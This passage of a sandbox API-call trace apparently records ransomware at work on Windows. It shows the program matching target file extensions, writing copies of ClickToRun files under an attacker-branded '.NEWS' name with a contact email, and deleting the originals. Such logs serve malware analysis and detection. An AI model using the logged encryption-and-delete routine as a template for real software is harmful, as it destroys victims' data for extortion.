lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0083.398] lstrlenW (lpString=".ppt") returned 4 [0083.398] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.398] lstrlenW (lpString=".zip") returned 4 [0083.398] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.398] lstrlenW (lpString=".rar") returned 4 [0083.398] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.398] lstrlenW (lpString=".bz2") returned 4 [0083.398] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.398] lstrlenW (lpString=".7z") returned 3 [0083.398] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.398] lstrlenW (lpString=".dbf") returned 4 [0083.398] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.398] lstrlenW (lpString=".1cd") returned 4 [0083.399] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.399] lstrlenW (lpString=".jpg") returned 4 [0083.399] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.399] lstrlenW (lpString=".doc") returned 4 [0083.399] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.399] lstrlenW (lpString=".docx") returned 5 [0083.399] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0083.399] lstrlenW (lpString=".pdf") returned 4 [0083.399] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.399] lstrlenW (lpString=".xls") returned 4 [0083.399] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.399] lstrlenW (lpString=".xlsx") returned 5 [0083.399] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0083.399] lstrlenW (lpString=".ppt") returned 4 [0083.399] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.399] lstrlenW (lpString=".zip") returned 4 [0083.399] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.399] lstrlenW (lpString=".rar") returned 4 [0083.399] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.399] lstrlenW (lpString=".bz2") returned 4 [0083.399] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.399] lstrlenW (lpString=".7z") returned 3 [0083.399] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.399] lstrlenW (lpString=".dbf") returned 4 [0083.399] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.399] lstrlenW (lpString=".1cd") returned 4 [0083.399] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.399] lstrlenW (lpString=".jpg") returned 4 [0083.399] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.400] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0083.400] lstrlenW (lpString="AppVShNotify.exe") returned 16 [0083.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0083.400] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=263896) returned 1 [0083.400] CloseHandle (hObject=0x2c4) returned 1 [0083.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0083.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0083.401] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.401] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.408] GetLastError () returned 0x0 [0083.408] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x406d8, lpOverlapped=0x0) returned 1 [0083.816] WriteFile (in: hFile=0x374, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x406e0, lpOverlapped=0x0) returned 1 [0083.821] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.821] WriteFile (in: hFile=0x374, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf4, lpOverlapped=0x0) returned 1 [0083.822] SetEndOfFile (hFile=0x374) returned 1 [0083.822] CloseHandle (hObject=0x374) returned 1 [0083.822] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.822] SetEndOfFile (hFile=0x2c4) returned 1 [0083.825] CloseHandle (hObject=0x2c4) returned 1 [0083.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.825] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0083.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.826] lstrlenW (lpString=".doc") returned 4 [0083.826] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0083.826] lstrlenW (lpString=".docx") returned 5 [0083.826] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0083.826] lstrlenW (lpString=".pdf") returned 4 [0083.826] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0083.826] lstrlenW (lpString=".xls") returned 4 [0083.826] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0083.826] lstrlenW (lpString=".xlsx") returned 5 [0083.826] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0083.826] lstrlenW (lpString=".ppt") returned 4 [0083.826] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0083.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.826] lstrlenW (lpString=".zip") returned 4 [0083.826] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0083.826] lstrlenW (lpString=".rar") returned 4 [0083.826] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0083.826] lstrlenW (lpString=".bz2") returned 4 [0083.826] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0083.826] lstrlenW (lpString=".7z") returned 3 [0083.826] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0083.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.826] lstrlenW (lpString=".dbf") returned 4 [0083.826] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0083.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.826] lstrlenW (lpString=".1cd") returned 4 [0083.826] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0083.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.826] lstrlenW (lpString=".jpg") returned 4 [0083.826] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0083.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.826] lstrlenW (lpString=".doc") returned 4 [0083.826] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0083.826] lstrlenW (lpString=".docx") returned 5 [0083.827] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0083.827] lstrlenW (lpString=".pdf") returned 4 [0083.827] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0083.827] lstrlenW (lpString=".xls") returned 4 [0083.827] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0083.827] lstrlenW (lpString=".xlsx") returned 5 [0083.827] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0083.827] lstrlenW (lpString=".ppt") returned 4 [0083.827] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0083.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.827] lstrlenW (lpString=".zip") returned 4 [0083.827] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0083.827] lstrlenW (lpString=".rar") returned 4 [0083.827] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0083.827] lstrlenW (lpString=".bz2") returned 4 [0083.827] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0083.827] lstrlenW (lpString=".7z") returned 3 [0083.827] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0083.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.827] lstrlenW (lpString=".dbf") returned 4 [0083.827] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0083.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.827] lstrlenW (lpString=".1cd") returned 4 [0083.827] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0083.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0083.827] lstrlenW (lpString=".jpg") returned 4 [0083.827] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0083.827] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0083.827] lstrlenW (lpString="concrt140.dll") returned 13 [0083.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0083.828] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=332968) returned 1 [0083.828] CloseHandle (hObject=0x2c4) returned 1 [0083.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0083.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0083.829] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.829] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.829] GetLastError () returned 0x0 [0083.829] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x514a8, lpOverlapped=0x0) returned 1 [0083.836] WriteFile (in: hFile=0x374, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x514b0, lpOverlapped=0x0) returned 1 [0083.844] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.844] WriteFile (in: hFile=0x374, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xee, lpOverlapped=0x0) returned 1 [0083.844] SetEndOfFile (hFile=0x374) returned 1 [0083.844] CloseHandle (hObject=0x374) returned 1 [0083.844] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.844] SetEndOfFile (hFile=0x2c4) returned 1 [0083.847] CloseHandle (hObject=0x2c4) returned 1 [0083.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.847] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0083.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0083.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0083.848] lstrlenW (lpString=".doc") returned 4 [0083.848] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.848] lstrlenW (lpString=".docx") returned 5 [0083.848] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0083.848] lstrlenW (lpString=".pdf") returned 4 [0083.848] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.848] lstrlenW (lpString=".xls") returned 4 [0084.462] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.462] lstrlenW (lpString=".xlsx") returned 5 [0084.462] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0084.462] lstrlenW (lpString=".ppt") returned 4 [0084.462] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.462] lstrlenW (lpString=".zip") returned 4 [0084.462] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.462] lstrlenW (lpString=".rar") returned 4 [0084.462] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.462] lstrlenW (lpString=".bz2") returned 4 [0084.462] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.462] lstrlenW (lpString=".7z") returned 3 [0084.462] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.462] lstrlenW (lpString=".dbf") returned 4 [0084.462] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.462] lstrlenW (lpString=".1cd") returned 4 [0084.462] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.462] lstrlenW (lpString=".jpg") returned 4 [0084.463] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.463] lstrlenW (lpString=".doc") returned 4 [0084.463] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.463] lstrlenW (lpString=".docx") returned 5 [0084.463] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0084.463] lstrlenW (lpString=".pdf") returned 4 [0084.463] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.463] lstrlenW (lpString=".xls") returned 4 [0084.463] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.463] lstrlenW (lpString=".xlsx") returned 5 [0084.463] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0084.463] lstrlenW (lpString=".ppt") returned 4 [0084.463] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.463] lstrlenW (lpString=".zip") returned 4 [0084.463] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.463] lstrlenW (lpString=".rar") returned 4 [0084.463] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.463] lstrlenW (lpString=".bz2") returned 4 [0084.463] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.463] lstrlenW (lpString=".7z") returned 3 [0084.463] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.463] lstrlenW (lpString=".dbf") returned 4 [0084.463] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.463] lstrlenW (lpString=".1cd") returned 4 [0084.463] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0084.463] lstrlenW (lpString=".jpg") returned 4 [0084.463] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.464] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0084.464] lstrlenW (lpString="mso20win32client.dll") returned 20 [0084.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0084.464] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3144288) returned 1 [0084.464] CloseHandle (hObject=0x344) returned 1 [0084.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0084.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0085.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0085.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0085.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.502] lstrlenW (lpString=".doc") returned 4 [0085.502] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.502] lstrlenW (lpString=".docx") returned 5 [0085.502] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0085.502] lstrlenW (lpString=".pdf") returned 4 [0085.502] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.502] lstrlenW (lpString=".xls") returned 4 [0085.502] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.502] lstrlenW (lpString=".xlsx") returned 5 [0085.502] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0085.502] lstrlenW (lpString=".ppt") returned 4 [0085.502] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.502] lstrlenW (lpString=".zip") returned 4 [0085.502] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.502] lstrlenW (lpString=".rar") returned 4 [0085.502] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.502] lstrlenW (lpString=".bz2") returned 4 [0085.502] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.502] lstrlenW (lpString=".7z") returned 3 [0085.502] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.502] lstrlenW (lpString=".dbf") returned 4 [0085.502] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.502] lstrlenW (lpString=".1cd") returned 4 [0085.502] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.502] lstrlenW (lpString=".jpg") returned 4 [0085.502] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.503] lstrlenW (lpString=".doc") returned 4 [0085.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.503] lstrlenW (lpString=".docx") returned 5 [0085.503] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0085.503] lstrlenW (lpString=".pdf") returned 4 [0085.503] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.503] lstrlenW (lpString=".xls") returned 4 [0085.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.503] lstrlenW (lpString=".xlsx") returned 5 [0085.503] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0085.503] lstrlenW (lpString=".ppt") returned 4 [0085.503] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.503] lstrlenW 